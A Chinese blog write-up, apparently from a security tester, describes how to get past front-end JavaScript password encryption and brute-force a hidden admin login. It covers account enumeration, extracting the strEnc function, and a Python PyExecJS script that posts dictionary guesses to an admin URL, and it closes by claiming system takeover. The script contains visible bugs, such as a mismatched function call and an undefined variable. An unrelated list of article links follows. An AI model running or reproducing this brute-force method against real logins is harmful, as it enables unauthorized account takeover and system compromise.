口令爆破之突破前端JS加密
时间:2022-07-22
本文章向大家介绍口令爆破之突破前端JS加密,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
0x00 前言
近期安全测试时发现一个系统前台使用了SSO,但是在比较隐蔽API中发现了后台的登录接口,该接口未使用SSO,同时没有图形验证码等校验,通过分析最终爆破进入后台。
0x01 确认攻击途径
通过信息搜集找到后台登录URL,由于URL比较敏感,这里以 admin/login
替代,尝试登录发现没有图形验证码等校验
通过BurpSuite抓包发现密码字段被加密了
根据回显不同,可进行口令爆破。
攻击思路:
- 通过回显不同获取存在的账号
- 分析加密方法
- 使用加密算法加密密码字典
- 脚本发包爆破
这里也可以使用Selenium一把梭暴力解决,但是不建议,如果实在没折的话再考虑此方法。
0x02 分析加密方法
加密参数为 u_pwd
,在html文件中搜索该特殊字符
可以看到加密算法是将 u_pwd
和 u_name
拼接之后使用 strEnc
函数处理,然后再和一个随机16位字符串拼接。
测试加密算法
复制定位到的 strEnc
函数JS代码,以Chrome为例。F12->Sources->Overrides->右键Snippets->粘贴
在新建的 snippet上右键>Run
输入密码测试
OK,加密代码找到了,运行对应的加密JS代码即可获取对应密码的加密字符串。
0x03 攻击测试
这里有多种途径,官方推荐PyV8、Node.js、PhantomJS、Nashorn,之前跟爬虫的大哥学习的时候发现他们好多使用的PyExecJS,所以也用这个试试,有兴趣的可以搜搜对应的优缺点。
安装 Node.js
之后 pip installPyExecJS
即可
脚本爆破
import requestsimport execjsimport json
def gen_encode_pass(user_name, user_password): with open("/Users/w2n1ck/Desktop/des.js", "r") as f: data_func = f.read() ctx = execjs.compile(data_func) up = ctx.call('strEnc', user_password, user_name) rand = ctx.call('randomString', 16) password = str(up) + str(rand) print('encode: u_password:',password) return password
_url = "https://admin.baidu.com:443/admin/login"_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Referer": "https://admin.baidu.cn/admin/login", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "u_token": "", "X-Requested-With": "XMLHttpRequest", "Connection": "close"}_data = {"u_name": "admin"}
pass_dict = open('/Users/w2n1ck/Desktop/admin_pass.txt', 'r')
for p in pass_dict.readlines(): p = str(p.strip()) print("decode: " + p) password = gen_encode_pass(p) burp0_data['u_pwd'] = password resp = requests.post(_url, headers=_headers, data=_data) con = json.loads(resp.content) if 'false' in str(con): print(con)
pass_dict.close()
通过前期的确定存在的用户名进行社工口令针对性爆破
脚本启动,打卡,下班
第二天上班发现已有存在的账号密码,账号密码登录即可接管系统
参考文章:
https://juejin.im/post/5c8f15bde51d451d1118db99
- 机器学习实战---线性回归提高篇之乐高玩具套件二手价预测
- 【Oracle12.2新特性掌上手册】-第八卷 PDB的快速创建与移除
- 《机器学习实战》学习笔记(十一):线性回归基础篇之预测鲍鱼年龄
- 你必须要知道CNN模型:ResNet
- CNN模型之SqueezeNet
- YOLO算法的原理与实现
- Batchnorm原理详解
- 【动手实践】Oracle 12.2 新特性:自动的列表分区创建
- AI从业者搞懂---这10种深度学习方法---老婆孩子热炕头
- OpenCV从零基础---检测及分割图像的目标区域
- Spark资源调优
- Tensorflow实战:Discuz验证码识别
- 【动手实践】:Lockdown Profile 的多租户权限控制
- 异步的JavaScript和XML(AJAX)
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 代码详解——NMPC之加入控制平顺性惩罚项
- 代码详解——采用控制增量作为控制输入的NMPC路径跟踪
- 程序员进阶系列:年少不懂爱家家,懂了已是猿中人。
- 代码详解——Simulink中的运动学模型
- Spring Boot 特性之 Failure Analysis
- 「周末福报」头铁的我,一头扎进了知识盲区 ThreadLocal
- 「周末福报」如何高效使用 Kryo
- 「刷题警告」递归算法
- 轻松学Pytorch – 构建生成对抗网络
- 「周末福报」你了解 SPI 吗?
- 「周末福报」如何实现一棵二叉树?
- Commit Message 杂谈:劣与优
- VUE|Vue实例
- 「拥抱开源」从零开始 Docker、Mysql & JPA
- 「拥抱开源」从表设计到 JPA 实现